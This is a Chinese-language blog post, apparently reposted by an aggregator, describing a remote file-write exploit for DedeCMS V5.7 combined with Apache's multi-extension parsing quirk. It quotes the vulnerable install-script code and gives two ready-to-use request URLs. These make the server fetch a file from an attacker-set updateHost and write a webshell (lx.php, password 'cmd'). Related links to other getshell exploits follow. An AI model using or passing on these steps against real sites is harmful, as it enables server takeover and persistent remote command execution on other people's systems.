dedeCMS远程写入getshell(测试版本V5.7)

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了dedeCMS远程写入getshell(测试版本V5.7)相关的知识,希望对你有一定的参考价值。

该漏洞必须结合apache的解析漏洞:

当Apache检测到一个文件有多个扩展名时,如1.php.bak,会从右向左判断,直到有一个Apache认识的扩展名。如果所有的扩展名Apache都不认识,那么变会按照httpd.conf配置中所指定的方式展示这个问题,一般默认情况下是“text/plain”这种方式。

dede在安装完成,如果没有删除install文件夹,在install下会有一个index.php.bak的备份文件,利用apache的解析漏洞,可以以php方式解析该文件。

在index.php.bak中有如下代码:

else if($step==11)
{
    require_once(‘../data/admin/config_update.php‘);
    $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";

    $sql_content = file_get_contents($rmurl);
    $fp = fopen($install_demo_name,‘w‘);
    if(fwrite($fp,$sql_content))
        echo ‘  <font color="green">[√]</font> 存在(您可以选择安装进行体验)‘;
    else
        echo ‘  <font color="red">[×]</font> 远程获取失败‘;
    unset($sql_content);
    fclose($fp);
    exit();
}

可以利用index.php.bak文件 step 11中的代码,来在服务器上写入任意文件!
由于远程要包含文件的服务器地址是通过 $updateHost 控制的,那我们首先利用代码来改写../data/admin/config_update.php这个文件,使我们可以自定义 $updateHost的值,那样就可以引用任何我们想要引用的文件啦!
利用方法:

随便找一个网站 新建个127.0.0.1/dedecms/demodata.a.txt

技术分享

分别依次访问一下链接

http://www.xxxx.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php

http://www.xxxx.com/install/index.php.bak?step=11&insLockfile=a&s_lang=a&install_demo_name=lx.php&updateHost=http://127.0.0.1/

即可生成http://www.xxxx.com/install/lx.php    密码cmd

 







以上是关于dedeCMS远程写入getshell(测试版本V5.7)的主要内容,如果未能解决你的问题,请参考以下文章

Dedecms V5.7后台的两处getshell

DedeCMS V5.7 SP1远程任意文件写入漏洞(CVE-2015-4553)

DedeCMS V5.7 SP1远程任意文件写入漏洞(CVE-2015-4553)

致远A8任意文件写入漏洞_getshell_exp

dedecms最新注入和getshell漏洞利用

代码审计EasySNS_V1.6远程图片本地化导致Getshell